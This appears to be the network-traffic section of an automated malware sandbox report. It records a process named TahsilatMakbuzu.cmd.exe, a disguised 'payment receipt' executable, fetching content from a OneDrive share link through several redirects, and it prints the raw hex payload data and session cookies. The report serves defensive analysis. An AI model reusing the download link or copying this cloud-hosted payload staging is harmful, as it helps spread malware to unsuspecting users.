2024-07-04 18:17:48 UTC	8192	IN	Data Raw: 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 Data Ascii: ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":tru
2024-07-04 18:17:48 UTC	8192	IN	Data Raw: 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 Data Ascii: 4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF44
2024-07-04 18:17:48 UTC	8192	IN	Data Raw: 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 Data Ascii: A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E
2024-07-04 18:17:48 UTC	8192	IN	Data Raw: 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 Data Ascii: 2955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-85
2024-07-04 18:17:48 UTC	8192	IN	Data Raw: 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 Data Ascii: true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F7
2024-07-04 18:17:48 UTC	8192	IN	Data Raw: 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 Data Ascii: A8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49829	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:49 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:49 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: DS1PPF8F91CFD7F Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: NNNCe01GBECsNrlcWNwJmw.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 3D564E44EAE74A589D64C31DAACEED72 Ref B: EWR30EDGE0220 Ref C: 2024-07-04T18:17:49Z Date: Thu, 04 Jul 2024 18:17:48 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49830	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:50 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:17:51 UTC	2217	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:8poYnVWc3Ig=:szY5hgBsspJN/8gDNJZRwR9gSJATULzTEx63IvSeeVE=:F; domain=.live.com; path=/ Set-Cookie: xid=ff30a131-8574-4a26-a377-1cfd1d8b500a&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:37:50 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODcwLCJuYmYiOjE3MjAxMTcwNzAsImdpdmVuX25hbWUiOiI4MyIsImZhbWlseV9uYW1lIjoiTGFyayIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImY3Mzk5YzY0MWUwMmU2Mjk2MTBmZmE1Y2U3OTA3YTgxIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwNzB9.FUB6a9e9RlxnlxNg4ost6t2OOmCTGttrwgexI6hhU8oeuWptaBelIq1mr6zje3jFhtyZl4Ss8leuOSzjf-6Z_hnFzFVIa6VqNHky0rnC_T1gmqELYzGIA4nTgzr_Hcl3MZySf13ijFbKkN6gQppsuBmpSzKJjZHsY-eAz8Osq5CBUpZ00KuJCH3QmsSnweIK6HAs5ppizDqo475nt-c-uFlfXO2GGFDIgkJGRT8B82NCGMN6B4qpFtFXLD3-p0LFloKAnpU54VfIHh6nismA6TEq6wBmiFgA3jQTmdiMMbTXWHtmY68yFWHwrgdlp5CJwqhcQoLj6ZXk-Q-jEiDTvw; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:17:51 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-p8nz8 X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: D42D8F945BC141B9861527471B97272E Ref B: BN3EDGE0319 Ref C: 2024-07-04T18:17:50Z Date: Thu, 04 Jul 2024 18:17:50 GMT Connection: close
2024-07-04 18:17:51 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49831	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:51 UTC	1277	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODcwLCJuYmYiOjE3MjAxMTcwNzAsImdpdmVuX25hbWUiOiI4MyIsImZhbWlseV9uYW1lIjoiTGFyayIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImY3Mzk5YzY0MWUwMmU2Mjk2MTBmZmE1Y2U3OTA3YTgxIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwNzB9.FUB6a9e9RlxnlxNg4ost6t2OOmCTGttrwgexI6hhU8oeuWptaBelIq1mr6zje3jFhtyZl4Ss8leuOSzjf-6Z_hnFzFVIa6VqNHky0rnC_T1gmqELYzGIA4nTgzr_Hcl3MZySf13ijFbKkN6gQppsuBmpSzKJjZHsY-eAz8Osq5CBUpZ00KuJCH3QmsSnweIK6HAs5ppizDqo475nt-c-uFlfXO2GGFDIgkJGRT8B82NCGMN6B4qpFtFXLD3-p0LFloKAnpU54VfIHh6nismA6TEq6wBmiFgA3jQTmdiMMbTXWHtmY68yFWHwrgdlp5CJwqhcQoLj6ZXk-Q-jEiDTvw; E=P:8poYnVWc3Ig=:szY5hgBsspJN/8gDNJZRwR9gSJATULzTEx63IvSeeVE=:F; xid=ff30a131-8574-4a26-a377-1cfd1d8b500a [TRUNCATED]
2024-07-04 18:17:52 UTC	1924	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,19659,0,69100,31 X-SharePointHealthScore: 3 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 461239a1-b087-5000-a849-44ab1da0675b request-id: 461239a1-b087-5000-a849-44ab1da0675b MS-CV: oTkSRoewAFCoSUSrHaBnWw.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 30 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: B03391E97CAB4E76ABC8FB3AA7BFA3C2 Ref B: BN3EDGE1013 Ref C: 2024-07-04T18:17:51Z Date: Thu, 04 Jul 2024 18:17:51 GMT Connection: close
2024-07-04 18:17:52 UTC	2889	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:17:52 UTC	8192	IN	Data Raw: 36 36 35 38 35 37 35 2c 32 30 34 32 32 32 33 39 34 30 2c 2d 38 39 31 34 35 33 35 39 37 2c 35 31 37 37 38 37 39 33 35 2c 32 35 39 34 36 33 31 33 30 2c 2d 38 34 36 33 31 36 33 31 39 2c 2d 39 35 34 32 31 37 35 36 34 2c 31 39 35 31 39 36 34 38 34 2c 2d 33 35 33 37 36 34 30 38 39 2c 31 39 33 38 37 30 35 33 37 34 2c 31 36 30 37 36 36 36 31 35 30 2c 31 34 37 31 30 36 31 37 33 33 2c 31 33 33 31 32 32 30 30 32 33 2c 31 37 36 35 31 37 30 35 30 39 2c 2d 31 33 36 30 30 37 33 36 39 39 2c 2d 32 30 31 34 33 36 36 39 38 33 2c 2d 31 34 37 31 31 39 34 33 2c 31 39 33 36 34 34 35 34 33 36 2c 31 32 32 36 30 33 34 31 30 32 2c 31 38 30 35 38 34 39 31 39 31 2c 2d 35 30 35 33 32 39 36 38 2c 32 36 31 33 32 33 35 34 32 2c 31 35 32 32 34 34 34 34 38 30 2c 2d 31 39 34 39 32 30 32 31 Data Ascii: 6658575,2042223940,-891453597,517787935,259463130,-846316319,-954217564,195196484,-353764089,1938705374,1607666150,1471061733,1331220023,1765170509,-1360073699,-2014366983,-14711943,1936445436,1226034102,1805849191,-50532968,261323542,1522444480,-19492021
2024-07-04 18:17:52 UTC	3497	IN	Data Raw: 32 2d 32 36 34 35 31 30 42 30 38 33 43 43 22 3a 74 72 75 65 2c 22 45 45 44 44 31 44 36 46 2d 36 39 46 34 2d 34 30 32 38 2d 39 46 31 46 2d 34 36 32 30 37 39 33 33 38 45 44 41 22 3a 74 72 75 65 2c 22 34 30 36 39 38 43 30 34 2d 31 31 38 39 2d 34 45 30 38 2d 42 39 33 30 2d 46 39 39 37 44 45 36 35 32 42 38 37 22 3a 74 72 75 65 2c 22 33 41 37 31 36 37 30 39 2d 39 34 31 35 2d 34 32 34 39 2d 39 32 39 35 2d 36 39 32 30 36 43 44 38 39 37 43 45 22 3a 74 72 75 65 2c 22 31 44 33 32 34 34 39 38 2d 37 36 37 33 2d 34 34 44 43 2d 41 35 43 39 2d 30 39 43 39 39 44 44 33 30 33 41 30 22 3a 74 72 75 65 2c 22 30 35 42 37 35 32 41 36 2d 30 34 44 39 2d 34 45 44 36 2d 42 45 31 36 2d 43 34 38 44 35 34 36 38 43 30 34 31 22 3a 74 72 75 65 2c 22 34 30 35 31 42 42 37 43 2d 33 34 39 32 Data Ascii: 2-264510B083CC":true,"EEDD1D6F-69F4-4028-9F1F-462079338EDA":true,"40698C04-1189-4E08-B930-F997DE652B87":true,"3A716709-9415-4249-9295-69206CD897CE":true,"1D324498-7673-44DC-A5C9-09C99DD303A0":true,"05B752A6-04D9-4ED6-BE16-C48D5468C041":true,"4051BB7C-3492
2024-07-04 18:17:52 UTC	8192	IN	Data Raw: 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 Data Ascii: "308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD2678
2024-07-04 18:17:52 UTC	8192	IN	Data Raw: 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 Data Ascii: D-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true
2024-07-04 18:17:52 UTC	8192	IN	Data Raw: 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 Data Ascii: F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443
